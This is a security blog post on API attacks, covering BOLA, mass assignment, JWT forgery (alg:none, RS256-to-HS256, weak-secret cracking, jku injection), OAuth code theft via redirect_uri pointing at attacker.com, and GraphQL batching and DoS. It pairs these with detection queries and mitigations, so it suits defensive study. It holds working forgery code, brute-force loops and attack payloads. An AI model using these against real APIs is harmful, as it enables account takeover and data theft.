Your application has a login form, firewalls, MFA, and EDR on every endpoint. But the REST API running behind it accepts alg: none JWT tokens and has no rate limiting. An attacker spent 20 minutes on it — not your perimeter — and walked out with every user record.
This is the state of API security in 2026.
TL;DR
- 73% of breaches start with APIs — they are now the #1 attack surface
- JWT attacks exploit weak algorithm validation, forged signatures, and key confusion
- OAuth abuse targets authorization flows, open redirects, and token leakage
- GraphQL APIs often expose introspection and allow batching/aliasing attacks
- Most API vulnerabilities (97%) are exploitable with a single HTTP request
Why APIs Are the New Perimeter
An API (Application Programming Interface) is how applications talk to each other. Your mobile app calls an API to fetch your data. Your SaaS dashboard uses APIs to connect to backend services. Modern web apps are often 90% API calls and 10% HTML.
According to the 2026 API ThreatStats Report, APIs accounted for 17% of all published security vulnerabilities in 2025 — more than any other single surface. Of the newly added CISA Known Exploited Vulnerabilities (KEVs), 43% were API-related.
The scariest statistic: 98% of API vulnerabilities are trivial or easy to exploit, and 59% require no authentication at all.
Organizations invested in network security, endpoint protection, and identity hardening — but left their APIs wide open.
Part 1: REST API Pentesting Fundamentals
Before diving into specific attack classes, here’s what a methodical API pentest looks like.
Reconnaissance
Start by mapping the attack surface:
# Discover API endpoints via JS filesgrep -r "api/" --include="*.js" .
# Brute-force API pathsffuf -u https://target.com/api/FUZZ -w /opt/seclists/Discovery/Web-Content/api-endpoints.txt
# Check for exposed Swagger/OpenAPI speccurl https://target.com/api/swagger.jsoncurl https://target.com/api/openapi.yamlcurl https://target.com/v1/docsMany developers leave API documentation endpoints public in production. An exposed swagger.json gives an attacker a complete map of every endpoint, parameter, and expected data format.
BOLA — Broken Object Level Authorization
BOLA (also called IDOR — Insecure Direct Object Reference) is the #1 API vulnerability according to the OWASP API Security Top 10. The concept is simple: you change an ID in the URL and access someone else’s data.
# You are user 1337 — what happens if you request user 1338?GET /api/v1/users/1338/profileAuthorization: Bearer <your_token>
# Or orders:GET /api/v1/orders/99012 # your orderGET /api/v1/orders/99013 # someone else's order — does it return data?If the API only checks that you’re authenticated (valid token) but doesn’t verify you own the resource, every object in the system is accessible to every user. This is shockingly common.
Mass Assignment
Many REST APIs automatically map incoming JSON fields to database objects. If you send extra fields the developer didn’t intend to be writable, they often get written anyway.
# Normal registration requestPOST /api/v1/register{"username": "attacker", "password": "pass123"}
# Mass assignment attempt — add fields the API shouldn't acceptPOST /api/v1/register{"username": "attacker", "password": "pass123", "role": "admin", "verified": true}If the API uses something like User.create(request.body) without filtering, the attacker just created an admin account.
Lack of Rate Limiting
APIs without rate limiting are vulnerable to credential stuffing, brute force, and enumeration. Test by sending rapid sequential requests:
# Test for rate limiting on login endpointfor i in {1..100}; do curl -s -o /dev/null -w "%{http_code}\n" \ -X POST https://target.com/api/login \ -d '{"user":"admin","pass":"test'$i'"}'doneIf all 100 return 200 OK or 401 Unauthorized (never 429 Too Many Requests), rate limiting is absent.
Part 2: JWT Attacks
JWT (JSON Web Token) is the standard way modern APIs handle authentication. A JWT has three parts separated by dots:
header.payload.signatureeyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMTMzNyIsInJvbGUiOiJ1c2VyIn0.abc123- Header: algorithm used to sign the token
- Payload: claims (user ID, role, expiry)
- Signature: cryptographic proof the token is valid
If the signature verification breaks down anywhere, an attacker can forge arbitrary tokens.
Attack 1: Algorithm Confusion (alg: none)
The original JWT specification allowed "alg": "none" — meaning no signature required. Many libraries still accept this.
import base64, json
# Craft a token with alg:none and admin roleheader = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=')payload = base64.urlsafe_b64encode(b'{"sub":"attacker","role":"admin"}').rstrip(b'=')forged_token = f"{header.decode()}.{payload.decode()}." # empty signature
# Send to API# Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.If the API accepts this, the attacker has an admin token with no valid signature.
Attack 2: Algorithm Confusion (RS256 → HS256)
This is a more subtle and powerful attack. Some APIs use asymmetric RS256 (RSA) signing — a private key signs, a public key verifies. The public key is often freely available.
The attack: switch the algorithm to HS256 (HMAC-symmetric) and sign the token with the public key as the HMAC secret. A misconfigured library will use the public key as the verification key for HS256 — which is exactly what the attacker signed with.
import jwt
# Attacker has the server's public key (often exposed at /.well-known/jwks.json)with open("public_key.pem", "r") as f: public_key = f.read()
# Sign with RS256 public key as HS256 secretforged = jwt.encode( {"sub": "admin", "role": "superadmin"}, public_key, # public key used as HS256 secret algorithm="HS256" # switched from RS256)Attack 3: Weak Secrets
Many developers sign JWTs with weak secrets like secret, password, or the application name. These are crackable offline with hashcat.
# Crack JWT HMAC secrethashcat -a 0 -m 16500 eyJhbGc...token.here /usr/share/wordlists/rockyou.txt
# Or use jwt-crackerjwt-cracker -t "eyJhbGc...token" -w /wordlists/rockyou.txtOnce you have the secret, you can forge any token you want.
Attack 4: JKU / Kid Header Injection
JWTs can include a jku (JWK Set URL) or kid (key ID) header that tells the server where to fetch the signing key. If this isn’t validated, an attacker can point it at their own server.
{ "alg": "RS256", "typ": "JWT", "jku": "https://attacker.com/jwks.json" // attacker-controlled key server}The server fetches the key from the attacker’s server, validates the signature against it — and the attacker signs with the corresponding private key. Valid token.
Detection: Look for JWT headers with jku or kid values pointing to external URLs, or kid values containing path traversal sequences (../../).
Part 3: OAuth Abuse
OAuth 2.0 is the authorization framework behind “Login with Google/GitHub/Microsoft.” It’s everywhere, and it has a complex flow with multiple points of failure.
A simplified OAuth flow:
- User clicks “Login with Google”
- App redirects to Google with a
redirect_uri - User approves, Google sends an authorization code to
redirect_uri - App exchanges code for access token
Attack 1: Open Redirect + Code Theft
If the redirect_uri parameter isn’t strictly validated, an attacker can steal the authorization code.
# Legitimate requesthttps://accounts.google.com/oauth/authorize? client_id=app123& redirect_uri=https://app.com/callback& response_type=code
# Attacker substitutes redirect_urihttps://accounts.google.com/oauth/authorize? client_id=app123& redirect_uri=https://app.com.attacker.com/callback& # subdomain confusion response_type=code
# Or via open redirect in the app itself redirect_uri=https://app.com/redirect?url=https://attacker.comThe authorization code lands on the attacker’s server. They exchange it for an access token and take over the account.
Attack 2: CSRF on OAuth Callback
If the state parameter (CSRF token for OAuth) is missing or predictable, an attacker can perform account hijacking:
- Attacker starts an OAuth flow on the victim’s browser
- Captures the authorization code
- Injects it into the victim’s session (CSRF)
- Victim’s account is now linked to attacker’s identity provider account
Attack 3: Token Leakage via Referrer
Access tokens should never appear in URLs. If an app puts tokens in query parameters, they leak via HTTP Referrer headers to any third-party resources on the page.
# Bad — token in URLhttps://app.com/dashboard?access_token=eyJhbGc...
# Any third-party analytics JS on the page sees this in document.referrerAttack 4: Scope Escalation
OAuth tokens have scopes (permissions). If the API doesn’t validate scope on the server side — only trusting what the token claims — an attacker can modify the token payload to escalate privileges.
This connects directly to the JWT attacks above: if the OAuth access token is a JWT with weak signing, escalating scopes is trivial.
For a deep dive into OAuth abuse in Microsoft environments, see Entra ID Attacks: Device Code, PRT, and Conditional Access Bypass — the device code phishing flow is pure OAuth exploitation.
Similarly, AiTM Phishing and MFA Bypass with Evilginx shows how session tokens from OAuth flows are stolen at scale.
Part 4: GraphQL Security
GraphQL is an alternative to REST that lets clients request exactly the data they need. It’s increasingly common in modern apps (GitHub, Facebook, Shopify all use it). It also introduces unique attack surfaces.
Attack 1: Introspection — Free Recon
GraphQL has a built-in introspection system that returns the entire schema: every type, field, query, and mutation. In production, this should be disabled — but it often isn’t.
# Check if introspection is enabledcurl -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query": "{__schema{types{name}}}"}'
# Full introspection dump (use graphql-voyager to visualize)# Tool: graphw00f for fingerprinting, InQL for Burp SuiteA successful introspection dump gives an attacker a complete map of the entire data model — equivalent to finding an exposed Swagger doc.
Attack 2: Batching and Alias Attacks
GraphQL allows multiple operations in one request via batching (array) or aliases. This completely bypasses rate limiting designed for individual requests.
# Alias attack — 100 login attempts in one requestquery { login1: login(email: "admin@target.com", password: "pass1") { token } login2: login(email: "admin@target.com", password: "pass2") { token } login3: login(email: "admin@target.com", password: "pass3") { token } # ... up to login100}One HTTP request = 100 brute force attempts. Rate limiting that counts requests, not operations, is useless here.
Attack 3: Deeply Nested Queries (DoS)
GraphQL’s nested query capability can be abused to create exponentially expensive database operations.
# Each level multiplies the DB queries{ users { friends { friends { friends { friends { name email posts { comments { author { friends { name } } } } } } } } }}Without query depth or complexity limits, a single request can bring down a database server.
Attack 4: IDOR Through GraphQL
GraphQL doesn’t automatically enforce object-level authorization. If a mutation or query accepts an ID, test whether you can access other users’ objects:
# Your user ID is 1337query { user(id: "1338") { # another user email creditCards { number expiry cvv } privateMessages { body } }}The business logic must explicitly check ownership — GraphQL provides no built-in protection.
Part 5: Detection — Blue Team Perspective
What to Monitor
JWT anomalies:
- Tokens with
alg: none— should never appear in production - Tokens signed with unexpected algorithms (RS256 suddenly becoming HS256)
jkuorkidheaders pointing to external domains- Tokens with
exp(expiry) set far in the future
OAuth anomalies:
- Authorization codes used more than once
redirect_urivalues not matching the registered whitelist- Unusual grant types (especially
device_codeoutside of known applications) - Token requests from unexpected IP ranges
API behavioral patterns:
- Sequential numeric IDs in requests (BOLA probing)
- Same endpoint called hundreds of times in seconds
- GraphQL introspection queries from non-developer IPs
- Unusual field names in POST bodies (mass assignment probing)
- HTTP methods not normally used (PUT, DELETE, PATCH on read-only endpoints)
SIEM Query Examples
# Detect JWT alg:none attempts (look for base64 of {"alg":"none"})index=proxy_logs uri_query="*eyJhbGciOiJub25l*"
# Detect GraphQL introspectionindex=web_logs request_body="*__schema*" OR request_body="*__type*"
# Detect BOLA probing (sequential IDs)index=api_logs| eval id_extracted=tonumber(replace(uri_path, ".*/(\d+).*", "\1"))| stats dc(id_extracted) as unique_ids by src_ip, _time span=1m| where unique_ids > 50Non-Human Identities — service accounts, API keys, machine tokens — are a major source of exposure here. See Non-Human Identity Security: The Biggest Blind Spot of 2026 for the full picture.
And if you’re worried about secrets ending up in source code (API keys, JWT secrets), GitHub Secrets Management Crisis 2026 covers exactly that.
What You Can Do Today
If you’re a developer or security engineer:
- Validate JWT algorithms explicitly — never accept whatever algorithm the token claims. Hardcode the expected algorithm server-side.
- Disable GraphQL introspection in production — one config flag, huge reduction in recon surface.
- Implement object-level authorization everywhere — for every API call that touches user data, verify the requesting user owns that resource.
- Strict
redirect_urivalidation — exact string match only, no prefix matching or wildcards. - Add query depth and complexity limits to GraphQL — most frameworks support this natively.
- Rate limit by operation, not just request — GraphQL batching bypasses request-level limits.
- Rotate JWT secrets regularly and use minimum 256-bit random secrets.
If you’re a penetration tester:
| Target | Tool | What to Check |
|---|---|---|
| JWT | jwt_tool | alg confusion, cracking, jku injection |
| OAuth | Burp Suite + OAuth scanner | redirect_uri, state parameter, scope |
| GraphQL | InQL, graphw00f | introspection, batching, IDOR |
| REST APIs | ffuf, Burp Suite | BOLA, mass assignment, rate limits |
If you’re a manager or decision-maker:
- Include APIs explicitly in penetration test scope — most tests skip them by default
- Run automated API security scanning (42Crunch, Salt Security, Traceable) continuously
- Inventory your APIs — shadow APIs (undocumented endpoints) are often the most vulnerable
Related Posts
- Web Pentesting in 2026: Full Methodology — broader web application testing methodology that covers API testing as one component
- Entra ID Attacks: Device Code, PRT, and Conditional Access Bypass — OAuth device code flow exploitation in Microsoft environments
- AiTM Phishing and MFA Bypass with Evilginx — how session and OAuth tokens are stolen via reverse proxy phishing
- Non-Human Identity Security: The Biggest Blind Spot of 2026 — API keys, service account tokens, and machine identities
- GitHub Secrets Management Crisis 2026 — JWT secrets and API keys leaking through source code
Sources
- Inside Modern API Attacks: 2026 API ThreatStats Report
- Akamai 2026 SOTI Report: APIs as Primary Attack Surface
- JWT Vulnerabilities: 2026 Security Risks & Mitigation
- GraphQL API Vulnerabilities — PortSwigger Web Security Academy
- OWASP API Security Top 10
- SSO Protocol Security: SAML, OAuth, OIDC & JWT Vulnerabilities